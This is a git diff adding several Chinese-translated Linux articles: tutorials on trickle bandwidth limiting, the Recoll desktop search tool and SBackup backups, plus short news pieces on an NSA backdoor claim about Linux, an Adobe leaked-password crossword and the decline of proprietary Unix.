+你有没有遇到过一个程序占用了你所有的网络带宽的情况?如果你遇到过,那么你就需要限制带宽的应用。不管你是一个系统管理员还是一名普通Linux用户,您都应该学习如何控制应用的上传和下载速度来确保你的网络带宽不会被一个程序耗光。 + +![](http://www.tecmint.com/wp-content/uploads/2013/11/Bandwidth-limit-trickle.png) + +### Trickle 是什么? ### + +**Trickle**是一款带宽控制供给,用来限制如**Firefox, FTP , SSH**以及其他使用网络带宽的程序的带宽。你希望你的**Youtube**音乐体验影响到你的ftp下载么?如果不想,请继续阅读这篇文章,学习如何在你的机器上安装和使用trickle。 + +### 怎样在Linux上安装Trickle ### + +trickle工具有一些依赖包,安装和使用trickle之前必须安装“**libevent 库**”,不过这个库在大多数现在的Linux机器上已经默认安装。 + +#### 在 Debian/Ubuntu/Linux Mint 上#### + +在**Debian/Ubuntu/Mint** 机器上运行 **apt-get install trickle**进行安装。请确保源列表已经更新,接着安装你想要的应用。 + + $ sudo apt-get update + $ sudo apt-get install trickle + +#### 在 RHEL/CentOS/Fedora 上#### + +首先你需要更新系统,然后使用下面的命令安装trickle。 + + # yum update + # yum install trickle + +### Trickle如何工作? ### + +Trickle通过控制socket数据读写量来控制和限制应用的**上传/下载**速度。它使用另一个版本的**BSD**套接字API,但是区别是trickle还管理socket调用。 + +要注意的是trickle使用动态链接和加载,所以它只对于使用"Glibc库"的程序有用。由于trickle可以设置数据在socket上的传输延迟,所以它可以用来限制一个应用的网络带宽。 + +### Trickle不能做什么? ### + +Trickle不能用于限制使用**UDP**协议的应用的带宽,它只可用于**TCP**连接,但是你要知道它也并不是对所有的**TCP**连接有效。如果你一直仔细地看这篇文章,你可以猜到原因是什么。你还记得trickle只对使用**Glibc库**应用有效吧? + +还要说一下,trickle无法工作在使用静态链接的可执行程序上。 + +### 确定Trickle是否可运行在某个特定应用上 ### + +既然trickle无法限制每个应用的**上传/下载**速度,就应该有个方法找出trickle可以工作的应用。 + +**ldd**工具可以帮我们找出某个特定的程序是否使用了**libc.so**库。如果程序使用了这个库,就可以使用trickle来限制它的网络带宽使用。 + +**ldd**命令用于打印每个程序需要的共享库。如果你是一个好奇的**Linux Geek**,那么你可以使用man命令来找出关于ldd工具的更多信息。 + + # man ldd + +**Filezilla**是一款使用ftp协议传输文件的程序,trickle可以用来限制它的下载或者上传速度么?在你考虑的时候,我使用以下的命令来找出trickle是否可用于filezilla。 + + # ldd filezilla | grep libc.so + +就我而言,它输出了如下: + + oltjano@oltjano-X55CR:/usr/bin$ ldd filezilla | grep libc.so + libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb6bc4000) + +既然filezilla使用了“**libc.so**”库,那么trickle可以用来限制它的网络带宽。这个方法可以用在任何你感兴趣的程序上。 + +### 学习如何使用Trickle ### + +使用下面的命令输出trickle工具的**版本**。 + + root@oltjano-X55CR:~# trickle -V + trickle: version 1.07 + +Linux有很多命令行工具使测试(实验)变得有趣和美丽。下面的命令使用[wget 工具][1]来下载最新的Pear OS镜像. + + root@oltjano-X55CR:~# wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + + --2013-11-20 11:56:32-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + Resolving sourceforge.net (sourceforge.net)... 216.34.181.60 + Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz [following] + --2013-11-20 11:56:33-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384928843&use_mirror=kaz + Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59 + Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following] + --2013-11-20 11:56:33-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso + Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163 + Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1093664768 (1.0G) [application/octet-stream] + Saving to: ‘download’ + + 0% [ ] 30,78,278 381KB/s eta 1h 50m +从输出可以看到,下载速度大约是**381 KB/s**。我想限制下载速度到**13 K/s**,这样我就可以用我的带宽做其他的事情了。下面的命令用来限制wget速度到**13 K/s**。 + + ravisaive@ravisaive-OptiPlex-380:~$ trickle -d 13 wget http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + + --2013-11-20 12:01:19-- http://sourceforge.net/projects/pearoslinux/files/Pear%20OS%208/pearos8-i386.iso/download + Resolving sourceforge.net (sourceforge.net)... 216.34.181.60 + Connecting to sourceforge.net (sourceforge.net)|216.34.181.60|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz [following] + --2013-11-20 12:01:19-- http://downloads.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso?r=&ts=1384929129&use_mirror=kaz + Resolving downloads.sourceforge.net (downloads.sourceforge.net)... 216.34.181.59 + Connecting to downloads.sourceforge.net (downloads.sourceforge.net)|216.34.181.59|:80... connected. + HTTP request sent, awaiting response... 302 Found + Location: http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso [following] + --2013-11-20 12:01:20-- http://kaz.dl.sourceforge.net/project/pearoslinux/Pear%20OS%208/pearos8-i386.iso + Resolving kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)... 88.204.157.163 + Connecting to kaz.dl.sourceforge.net (kaz.dl.sourceforge.net)|88.204.157.163|:80... connected. + HTTP request sent, awaiting response... 200 OK + Length: 1093664768 (1.0G) [application/octet-stream] + Saving to: ‘download.1’ + + 0% [ ] 2,01,550 13.1KB/s eta 21h 5m + +从输出可以看到,下载速度被限制到了**13K/s**。下载将会持续**21小时5分钟**。上面的“**-d**”选项表示下载,还可以结合使用 “**-d**”选项和上传选项(**-u**),如下例所示。 + + # trickle -u 100 -d 50 ftp + +上面的命令限制**ftp 客户端**的上传速度为**100K/s**,下载速度为**50K/s**。还可以使用下面的命令,限制在一个shell里运行的所有命令的带宽。 + + trickle -d 130 -u 13 bash + +每个命令行工具都对用户提供了帮助,使用"trickle -h"命令来找出更多trickle工具的用法。 + + root@oltjano-X55CR:/usr/bin# trickle -h + + Usage: trickle [-hvVs] [-d ] [-u ] [-w ] [-t ] + [-l ] [-n ] command ... + -h Help (this) + -v Increase verbosity level + -V Print trickle version + -s Run trickle in standalone mode independent of trickled + -d Set maximum cumulative download rate to KB/s + -u Set maximum cumulative upload rate to KB/s + -w Set window length to KB + -t Set default smoothing time to s + -l Set default smoothing length to KB + -n Use trickled socket name + -L Set latency to milliseconds + -P Preload the specified .so instead of the default one + +### 总结 ### + +本篇文章介绍如何在Linux机器上安装trickle工具,并用它如何做一些简单的事情。无论你为大公司工作还是自己使用,trickle都是高级Linux用户的必备工具。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/manage-and-limit-downloadupload-bandwidth-with-trickle-in-linux/ + +译者:[geekpi](https://github.com/geekpi) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.tecmint.com/10-wget-command-examples-in-linux/ \ No newline at end of file diff --git a/published/201312/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md b/published/201312/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md new file mode 100644 index 0000000000..a0e85368a3 --- /dev/null +++ b/published/201312/NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP.md @@ -0,0 +1,40 @@ +这是玩笑吗?Linux之“祖父”认为NSA曾要求在Linux中植入后门 +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/01/DSC01782.jpg) + +*照片中为大神Linus(左)和Benjamin Humphrey(译者注:该小伙儿为本文原文出处‘OMG!Ubuntu!’的联合创始人之一,现已离开OMGUbuntu)!照片摄于2011年* + +美国国家安全局([**NSA**][1])被称,他们曾经要求Linux的创始人,Linus Torvalds,在GNU/Linux中建立一个他们可以访问的“后门”。 + +这绝非谣言,Linus的父亲,Nils Torvalds如此说道。(译注:也许Nils可以算做是Linux的祖父?好吧,我是标题党,啦啦啦~ :D 无论如何,感谢他生了一个好儿子! ) + +作为欧洲议会(MEP)的成员之一,Nils出席了最近关于“欧盟公民监视问题”的委员会质询会议。根据爱德华·斯诺登泄露出的一些NSA文档,委员会对文档中列出的一些公司代表就所谓的“合作”进行了质询。 + +同属欧洲议会成员的瑞典盗版党主席Christian Engström就质问微软的发言人,其公司是否曾主动为NSA在他们的系统中植入过“后门”,(译者注:盗版党是一个以废除专利制度、维护公民隐私为宗旨的民间自发政党,最先在瑞典出现,传送门→[盗版党百度百科](http://baike.baidu.com/view/1104760.htm))。之后,Nils Torvalds[说道][2]: + +> 我的长子[Linus Torvalds]也被问到了同样的问题 —— “NSA是否曾要求他植入后门?”,当时他口中回答“No”,但同时却在点头。我的儿子有某种程度上的法律自由,他已经给出了正确的回答…… 每个人都明白,NSA的确曾要求他这么干过! + +如果这段描述让你觉着耳熟,你可以[看下Youtube上关于这一段的视频片段][3]。后来Linus坚称他当时只是开玩笑,[NSA并没有为此找过他][4]。 + +**但是,根据11月11号质询会议上的发言看来,他的父亲并不这么想。** + +根据文档,Google、[Yahoo!][5]、Facebook,[的确还有微软][6],都在NSA要求提供“后门”的合作公司之列,这一发现,虽不足以震惊全世界,但事实上,从大局考虑还是有意义的。毕竟,凭什么说NSA不会要求Linus这么做呢? + +Nils并没有解释Linus具体是如何回应的 —— 但我估计,这说明了两个问题,首先我们至少可以肯定的一点是,开源世界一直在努力防范类似事情成为可能; + +其次,如果真的有某些漏洞存在,NSA长长的触手早就已经把你的压箱底私房钱翻个底儿掉了。 + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes + +译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.nsa.gov/ +[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s +[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8 +[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/ +[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html +[6]:http://www.bbc.co.uk/news/technology-23285642 diff --git "a/published/201312/Play A Crossword Game With Adobe\342\200\231s Leaked Passwords.md" "b/published/201312/Play A Crossword Game With Adobe\342\200\231s Leaked Passwords.md" new file mode 100644 index 0000000000..aafc62437b --- /dev/null +++ "b/published/201312/Play A Crossword Game With Adobe\342\200\231s Leaked Passwords.md" @@ -0,0 +1,25 @@ +一个有关Adobe密码泄漏的字迷游戏 +==== +一个有关**Adobe**公司密码泄漏的字迷游戏现在可以在[http://zed0.co.uk/crossword/][1]上玩咯。作者创建这个游戏的初衷是为了告诉公众容易记忆的密码是非常不安全的,你不应该信任那些公司们会按照所谓最佳实践来存储你的密码,例如Adobe。 + +这个字迷游戏使用了从Adobe公司泄漏出来的最常见的1000个密码,从而提醒你,什么样的密码是不够强壮的,容易被破解的。假如你使用的密码就是字迷游戏中的这种密码,而且你还把它作为你的全球通用密码,那么你应该立即更换掉它。这样的密码非常糟糕!赶紧去更换掉它,趁现在还不太晚。 + +至于游戏本身,不但好玩而且有用。游戏作者介绍说,他的灵感来源于[xkcd #1286: Encryptic][2],他还说把这些泄漏的密码放出来并不会造成太大的安全隐患,因为很多人很早以前就能猜中这样的密码。 + +额,你还不知道Adobe公司的云安全事件? + +不久前,Adobe公司成了网络攻击者的目标。Adobe公司的安全团队发现了一起针对Adobe公司内部网络的复杂攻击,攻击获取了Adobe公司的客户信息并盗取了数个Adobe公司产品的源代码。根据Adobe公司官方博客上的安全告示,攻击者盗取了Adobe用户的账户ID以及登录密码。但是Adobe公司的安全团队并不认为与账户关联的信用卡信息或者资金账户信息会一并被盗取。 + +你可以点击[这儿][3]阅读更多相关的安全公告。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/play-crossword-game-adobes-leaked-passwords/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://zed0.co.uk/crossword/ +[2]:http://www.xkcd.com/1286/ +[3]:http://www.unixmen.com/illegal-access-adobe-source-code/ diff --git a/published/201312/Proprietary Unix Continues to Fall.md b/published/201312/Proprietary Unix Continues to Fall.md new file mode 100644 index 0000000000..23c16729d9 --- /dev/null +++ b/published/201312/Proprietary Unix Continues to Fall.md @@ -0,0 +1,25 @@ +Unix 持有量持续缩减 +================================================================================ + +国际数据公司(IDC)的分析师在周三投寄了一篇[新闻稿][1]凸显出IBM 的 AIX 系统和 P-系列的硬件持有量已经快速下降。伴随着专有 Unix 系统下跌的同时,相关的运行着 Linux 系统的 X86 服务器销量却在崛起。IBM 已经明确指出这是一个长期趋势,所以投资了10亿美元用在基于 Power 系统的 Linux 开发。与新闻报道的 AIX 20%销售额下降的同时,我的这篇文章终于发布出来了。 + +过去数年中,我在管理 AIX 和 Linux 系统上一点都不顺利,如果能让我挑选的话,会选择灵活性和易用性更好的 Linux 系统和稳定性更高的 Power 机器。根据我的经验, AIX 很难设置,在设置好后要变动也很困难,但一旦设置好并启动起来,它就会一直很好的运行下去。一台配置合适的 AIX 服务器可以正常运行数年而无需干预,但是需要修改配置的时候,并且经常需要修改配置,就准备好长期的艰苦跋涉吧。相比之下,经过这么多年来,成千上万的开发人员和系统管理员,以及大牌公司的贡献,使得Linux更易于管理。根据[Infoworld][2]报道: + +> Linux服务器市场正在健步崛起,服务器总销量占总收入的百分比高达28%,所以任何可以提高市场占有率的投资,将会非常有价值,即使大部分份额的Linux服务器仍然是商用 x86 硬件。 + +Intel 和 AMD 的硬件也现跨越式发展,正在缩小与 Power 机器的性能差距。当我听到一个新的刀片上配置 10GB 的以太网卡已经成为标准、256GB 的 RAM 已经很正常了,以及普通业务需要订购装有 16 核 CPU 的服务器已经成为常态时,吃惊不小。Intel 服务器和 IBM 的 Power 服务器性能差不多,但价格低很多。因为企业的关注点在于是否逃脱“顾问软件”及 IBM 的供应商锁定,所以在行业标准的x86硬件上运行的开源软件正变得越来越有吸引力。不过,IBM已经降低了 Power 系列机器的价格来保持竞争力。 + +这说明, IBM 选择投入在基于 Power 机器的 Linux 系统而不是 AIX 系统。 IBM 可能已经开发出现代版的 AIX,并使用通用的开源工具以使交互操作性更好。尽管 IBM 声明 AIX 仍然是重要的,但在 Power 机器的销售额持续下降,伴随的是 Linux 方面的投入,这一切的一切都正在翻开新故事的新篇章。 + +IBM 不可能一切都以 AIX 为核心,但他们可能会无限期的延长其使用寿命。如果 AIX 做为开源系统发布,看看市场的反映,将会十分精彩。 + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/proprietary-unix-continues-to-fall + +译者:[runningwater](https://github.com/runningwater) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.idc.com/getdoc.jsp?containerId=prUS24476413 +[2]:http://www.infoworld.com/t/unix/ibms-losing-ground-unix-and-oracle-may-follow-232234 diff --git a/published/201312/Recoll--Text Search Tool For Unix And Linux Desktops.md b/published/201312/Recoll--Text Search Tool For Unix And Linux Desktops.md new file mode 100644 index 0000000000..6382172173 --- /dev/null +++ b/published/201312/Recoll--Text Search Tool For Unix And Linux Desktops.md @@ -0,0 +1,132 @@ +Recoll:Unix和Linux桌面的文本搜索工具 +=== +[Recoll][1]是一个Unix和Linux桌面的文本搜索工具。Recoll可以搜索文件名和文件内的关键字。 + +Recoll可以为你做到以下这些。 + + - 它可以搜索任何格式的文件 + - 支持通配符 + - 可以依据文件的作者、类型、大小和格式等条件进行搜索 + - 可以搜索存储在任何位置的文件,例如文件、归档文件、邮件附件等 + - 支持桌面和网站集成 + - 具备火狐插件,可索引web页的历史 + - 点击一下搜索结果就可以在本地编辑器内打开或者显示文本预览 + - 它是免费的开源的,在GPL许可下发布 + +###在Ubuntu/Linux Mint上安装Recoll + +Recoll在Ubuntu仓库里可以找到。然而,最好添加Recoll的仓库以便安装最新版本。 + +使用以下命令添加Recoll仓库: + + sudo add-apt-repository + +使用命令更新软件列表: + + sudo apt-get update + +现在就可以使用下面的命令安装Recoll。 + + sudo apt-get install recoll + +对于其它的发行版,可以去[下载页面][2]下载源代码并编译安装。 + +###启动Recoll + +Recoll可以从Dash或者菜单中启动。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0014.jpg) + +第一次启动时,你需要索引整个home目录。依据你 home 目录里储存的东西的多少,需要的时间不等。按下**Start indexing now**按钮开始索引。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_002.jpg) + +假如你想更多的自定义索引,可以调整索引配置和索引计划。要做到这一点,只需要点击一下**Indexing configuration**或者**Indexing schedule**链接。假如你要稍后再去配置,你可以在Preferences(首选项)菜单里配置这些选项。 + +一旦索引完成,你就可以搜索文件/文件夹了。结果将根据相关性展现,并显示匹配的一小部分内容。 + +###配置 + +正如上面提到的,假如你想更多的控制索引的细节,你可以调节Recoll的索引功能。 +在Recoll的工具中有两个配置项 + +1. 索引配置 +2. 索引计划 + +让我们来看一下上面这两个的简短描述。 + +**索引配置**可以让你索引时决定包含哪些目录以及排除哪些目录。默认情况下索引时将包含整个home目录。你可以在这儿从索引中添加或移除目录。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/home-sk-.recoll-_003.jpg) + +你也可以定义web历史队列以及储存web页面的最大容量。 + +**index schedule**则是可以让制定一个计划以便于进行自动索引或者当你登陆系统后就进行实时索引。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Index-scheduling-setup_004.jpg) + +Recoll支持两种索引计划: + +**Cron任务** - 决定什么时候开始运行以及写入Crontab键值。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Cron-Dialog_006.jpg) + +以上这个屏幕截图中,Recoll的cron任务会在每天上午12点的时候执行。设置完cron任务后,点击enable键激活它就可以咯。 + +**启动时实时索引** - 决定是否当你登陆入系统时进行实时索引。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Real-time-indexing-automatic-start_007.jpg) + +激活这一选项,recoll的守护程序都会随系统启动。要注意的是这一选项只有在默认索引设置的情况下才可用。 + +###基本搜索 + +现在你已经对Recoll了解的足够多了。是时候去搜索一下文件或者文件夹了。这个应用的美妙之处就在于它既可以搜索文件名还可以搜索文件内的关键词。 + +在Recoll的用户界面中,在顶部右边的搜索栏中键入要搜索的关键字,然后点击Search按钮。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_008.jpg) + +如你在上图所见,精确相关的内容将会显示还能预览到一小部分内容。你可以点击Open按钮直接打开搜索到的文件,或者在打开它之前使用预览按钮预览它。 + +你还可以过滤搜索结果,使用分类例如媒体、消息、其它、演示文档、电子表格或者文本等。更重要的是,你还可以选择匹配任一项、全部项、文件名或者语言等的搜索结果。 + +###高级搜索 + +点击菜单栏中的高级搜索图标或者前往**Tools->Advanced Search**。这将打开一个新的对话窗口。在这儿你可以附加更多的限制条件来进行搜索。例如我可以搜索文件内容里含有关键字“hp”以及文件名含有“storage”的文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_008.jpg) + +这将找到并显示文件内含有关键字“hp”且文件名含有“storage”的文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Recoll_012.jpg) + +###Unity桌面以及网站集成 + +这个应用支持桌面集成以及网站集成。假如你要把它集成到你的Ubuntu的Unity桌面中去,你可以用下面的命令安装**recoll-lens**。 + + sudo apt-get install recoll-lens + +请注意,lens限制显示结果最多显示20条。假如你要显示更多数目的搜索结果,编辑**rclsearch.py**,修改“**if actual_results >= 20:**”这一行就可以咯。 + +假如你使用火狐浏览器,要去搜索你每天访问的浏览历史,你可以使用这个[火狐扩展][3]。这个火狐扩展可以和Recoll一起工作去索引你全天浏览的网站。在安装完这个扩展之后,在Recoll的索引配置中从web历史标签页中激活它就可以咯。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/home-sk-.recoll-_013.jpg) + +所有的Linux都在他们的文件管理器中内建了搜索功能,以便于尽可能容易的搜索文件/文件夹。对于那些不满足于内置搜索功能并想寻找更高级文本搜索工具的人来说,Recoll是个值得一试的工具。我认为,这真是个容易使用且功能强大的工具,对基本搜索如此,对高级搜索也是如此. + +欢呼吧! + +如有问题,请参考我们的Q/A论坛 : http://ask.unixmen.com/ 。 + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/recoll-text-searching-tool-linux-desktops/ + +译者:[Linux-pdz](https://github.com/Linux-pdz) 校对:[jasminepeng](https://github.com/jasminepeng) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.recoll.org/ +[2]:http://www.lesbonscomptes.com/recoll/download.html +[3]:http://sourceforge.net/projects/recollfirefox/ \ No newline at end of file diff --git a/published/201312/SBackup--A Simple Backup Solution For Your Linux Desktop.md b/published/201312/SBackup--A Simple Backup Solution For Your Linux Desktop.md new file mode 100644 index 0000000000..debf28a6ff --- /dev/null +++ b/published/201312/SBackup--A Simple Backup Solution For Your Linux Desktop.md @@ -0,0 +1,173 @@ +SBackup: 一个Linux下的简单备份软件 +================================================================================ + +**SBackup** 是一个简单易用的开源备份软件。它可以备份任意文件或者文件夹的一部分。所有的配置文件可以通过 Gnome 界面进行访问。文件和路径可以直接通过正则表达式进行添加和排除。它支持本地备份和远程备份。虽然它看起来简单,但是它有着许多常见的高级备份功能。 + +### 特点 ### + +SBackup 可以完成以下工作 + +- 可以创建压缩和未压缩的备份 +- 可以把未压缩的备份分割成多份文件 +- 支持多份备份配置。每个人都可以根据自己的需求创建并修改自己的配置文件,但是不能删除默认配置文件 +- 有多种选项,如日志、邮件通知、以状态图标的形式展现和提醒 +- 支持计划任务备份和手动备份 +- 可以备份到本地(如硬盘),也可以备份到远程(如通过 FTP 访问 NAS) + +### 在 Ubuntu、Linux Mint 和 Debian 上安装 SBackup ### + +SBackup 可在 Ubuntu、Linux Mint 和 Debian 的默认仓库中获得,所以只要运行以下命令即可安装 + + sudo apt-get install sbackup + +### 运行 SBackup ### + +通过 Dash 或者 Menu 打开 SBackup + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Menu_0011.jpg) + +将会看到如下界面 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_002.jpg) + +### SBackup 配置 ### + +最初的 SBackup 没有任何用户自定义的配置文件,只有默认的配置文件。需要注意的是,用户不能删除默认的配置文件。若要创建一个新的配置文件,点击 Tools -> Profile Manager,将看到如下窗口 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_003.jpg) + +单击 Add 来创建新配置文件,例子的文件用“sk”来命名 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_004.jpg) + +现在已经创建了新的配置文件。若要设置配置,先选择配置文件,再单击 Edit + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Configuration-Profile-Manager_005.jpg) + +现在看到 SBackup 的配置文件已经被切换到“sk” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_006.jpg) + +当然,也可以根据不同人的需求来修改默认配置文件 + +**注意事项**:如果你用普通用户运行 SBackup,计划任务备份不能生效,你需要用 root 用户来运行。如上图所示,因为我是以普通用户运行 Sbackup,所以 Schedule 选项是灰色不可选中状态。 + +在本教程中,我将以 root 权限运行 SBackup,并且使用的是**默认配置** + +打开终端,运行以下命令来以 root 权限运行 SBackup + + sudo sbackup-config-gtk + +上面的命令将以 root 权限打开默认配置的 SBackup + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_001.jpg) + +#### General选项卡 #### + +在 General 选项内,你可以选择多久进行一次完整备份,默认是7天。每7天 SBackup 将会进行一次完整的备份。你也可以选择备份的压缩格式。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0021.jpg) + +#### Include选项卡 #### + +这个选项不需要解释太多,你可以添加 SBackup 要备份的文件或目录。这里可以选择备份单独的文件或者完整的目录,我删除了所有的目录仅仅保留了“Resume” + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0031.jpg) + +#### Exclude选项卡 #### + +如同 Include 选项,我们可以选择备份时排除的文档和目录,只需要选择要排除的文档和目录的路径即可。在默认配置下,/media, /var/run/, /var/cache/, /var/spool/ 和 /vat/tmp/ 目录均被排除 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0041.jpg) + +更进一步的是,你可以增加备份时排除文件的类型,像 mp3 和 avi 等等。在默认配置下,mp3, avi, mpeg, mkv, ogg 和 iso 是被排除不被备份的。如果你想备份这些文件,只要选中然后点击 remove。当然,如果要排除其他类型的文件,只需要点击 add 然后增加。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_005.jpg) + +在默认配置下,SBackup 不会备份.gvfs, .thumbnails, .Trash 和 .cache 这些文件夹 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0061.jpg) + +同时你也可以在备份时根据文件大小来排除某些文档和文件夹,这里我排除了体积超过100MB 的文档和文件夹。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0071.jpg) + +#### Destination选项卡 #### + +在这里你可以选择备份存放的路径,正如我之前提到的,你可以把备份的文档或文件夹存放在硬盘或者远程的 FTP 或 NAS。这里我将把备份保存在 /home/sk/My Backup 目录下。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_019.jpg) + +**提示:** 在备份前确认目录有足够的空间保存备份文件 + +#### Schedule选项卡 #### + +在这个选项中,你可以设定具体的备份时间。点击 **Simple** 选项,可以按每小时、每日、每周、每月来设置你的计划备份时间。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_010.jpg) + +如果你擅长使用命令行来计划任务,则可以使用 cron 来操作。当你开启每日备份计划时,cron 命令在 **/etc/cron.daily/** 目录中创建计划文件 + + sudo ls -l /etc/cron.daily/sbackup + +示例的输出显示 + + lrwxrwxrwx 1 root root 33 Nov 8 15:34 /etc/cron.daily/sbackup -> /usr/share/sbackup/sbackup-launch + +#### Purging选项卡 #### + +在这个选项里,可以删除超过一定时间的备份文件。在默认配置下,超过30天的备份文件将被删除。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0111.jpg) + +#### Report选项卡 #### + +Report 是最后一个选项卡,在这里你可以设置接收备份完成通知的邮箱。输入你的邮箱ID、SMTP服务地址、邮箱用户名、密码后,点击 Test mail settings。需要留意的是,在测试邮箱设置前,点击工具栏中的Save Configuration按钮保存你的配置。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_0121.jpg) + +你将在完成测试邮箱设置后看到 “Test Successful” 字样。 + +### 开始备份 ### + +点击 SBackup 工具栏上的 **Make Backup now button** 按钮立即开始备份。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_015.jpg) + +弹出一个窗口,点击 Yes 开始创建备份文件。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/sbackup-config-gtk_024.jpg) + +现在备份的进程已经在后台开始运行,你可以通过在通知栏上的状态显示来监视备份的进程。 + +完成备份之后,关闭 SBackup ,并且确认备份文件保存在指定的目录。例子中我保存的目录是/home/sk/My Backup。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Selection_020.jpg) + +### 恢复文件 ### + +在终端中运行命令 + + sudo sbackup-restore-gtk + +在 SBackup 的恢复窗口,选择可用的备份日期和快照,在 Restoration Management 面板中选择任意一个要恢复的文件,单击 **restore** 保存到默认位置或者单击 **restore as** 保存到指定的位置。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2013/11/Simple-Backup-Suite_023.jpg) + +现在文件已经从备份中恢复,就这么简单。 + +### 来源: ### + +- [https://launchpad.net/sbackup][1] +- [http://sourceforge.net/projects/sbackup/][2] + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/linux-desktop-backup-made-easy-sbackup/ + +译者:[NearTan](https://github.com/NearTan) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://launchpad.net/sbackup 